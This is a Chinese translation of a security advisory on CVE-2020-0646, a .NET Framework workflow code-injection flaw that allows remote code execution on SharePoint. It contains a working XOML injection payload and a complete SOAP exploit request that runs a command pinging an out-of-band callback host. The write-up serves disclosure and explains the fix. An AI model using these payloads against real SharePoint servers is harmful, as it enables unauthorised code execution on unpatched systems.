Microsoft .NET Framework RCE漏洞(CVE-2020-0646)

原文为全英文,以下为中文翻译
原文来自

Code injection in Workflows leading to SharePoint RCE (CVE-2020-0646)

说明

2019年11月,通过工作流代码注入在SharePoint Online中发生的远程代码执行问题被报告给Microsoft,该问题立即在在线平台上得到解决。不过,主要问题是在2020年1月在.NET Framework中修补的。因此,没有2020年1月.NET修补程序的SharePoint内部版本仍然受到影响。

应该注意的是,当IIS支持.XOML扩展名时,此问题也可能在文件上载攻击中被滥用。

尽管此漏洞的影响与之前发现的以下缺陷相同,因为它们都影响同一模块,但它使用了不同的技术,并不是绕过已实施的修复:

CVE-2020-0646分析

其中的一些参数系统.工作流.活动在编译XOML格式文件时,可能会滥用命名空间在SharePoint服务器上运行任意代码。这个问题还绕过了工作流编译器的nocode选项,因为它仍然可以执行任意代码。

以下XOML文件显示了使用CallExternalMethodActivity类时的示例:

<SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="foobar" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
  <CallExternalMethodActivity x:Name="codeActivity1" MethodName='test1' InterfaceType='System.String);}Object/**/test2=System.Diagnostics.Process.Start("cmd.exe","/c calc");private/**/void/**/foobar(){//' />
</SequentialWorkflowActivity>

在编译过程中,InterfaceType属性的值被注入到生成的临时C文件中:

…
    private void InitializeComponent()
    {
        …
        this.codeActivity1.InterfaceType = typeof(System.String);}Object/**/test2=System.Diagnostics.Process.Start("cmd.exe","/c calc");private/**/void/**/foobar(){//);      
        …
    }
…

因此,可以从函数中转义以运行代码。应该注意的是,当InterfaceType属性受到影响时,上面示例中的MethodName等其他字符串类型属性被正确验证或转义。

CodeActivity类的ExecuteCode参数也受到类似的影响,但它未在SharePoint Online版本上获得授权,只能在内部版本上工作。其他活动也可能被滥用。

例如,可以使用以下HTTP请求在SharePoint Online上执行代码:

POST http://[REDACTED].sharepoint.com/_vti_bin/webpartpages.asmx HTTP/1.1
Date: Tue, 29 Oct 2019 14:26:21 GMT
MIME-Version: 1.0
Accept: */*
SOAPAction: http://microsoft.com/sharepoint/webpartpages/ValidateWorkflowMarkupAndCreateSupportObjects
User-Agent: Mozilla/4.0 (compatible; MS FrontPage 15.0)
Host: [REDACTED].sharepoint.com
Accept-Language: en-us, en;q=0.1
Accept: auth/sicily
X-FORMS_BASED_AUTH_ACCEPTED: T
Content-Type: text/xml; charset=utf-8
X-Vermeer-Content-Type: text/xml; charset=utf-8
Accept-encoding: gzip, deflate
Connection: Keep-Alive
Pragma: no-cache
Content-Length: 1031
Cookie: [REDACTED]

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><ValidateWorkflowMarkupAndCreateSupportObjects xmlns="http://microsoft.com/sharepoint/webpartpages"><workflowMarkupText><![CDATA[
<SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="foobar" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
                            xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
  <CallExternalMethodActivity x:Name="foo" MethodName='test1' InterfaceType='System.String);}Object/**/test2=System.Diagnostics.Process.Start("cmd.exe","/c ping o9ydzn3p7ed579lepxolocqyqpwik7.[redactedBurpCollabServer]");private/**/void/**/foobar(){//' />

</SequentialWorkflowActivity>


]]></workflowMarkupText><rulesText></rulesText><configBlob></configBlob><flag>2</flag></ValidateWorkflowMarkupAndCreateSupportObjects></soap:Body></soap:Envelope>

因此,解析了DNS名称:

Microsoft .NET Framework RCE漏洞(CVE-2020-0646)

也可以使用上述请求利用内部版本。

应用CVE-2020-0646修补程序后,将检查工作流中的所有XML元素和属性,以确保它们只包含有限数量的允许字符。因此,当使用所选的nocode选项时,在默认配置中无法再向生成的C代码中注入任意代码。

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
大佬不来一句? 抢沙发

请登录后发表评论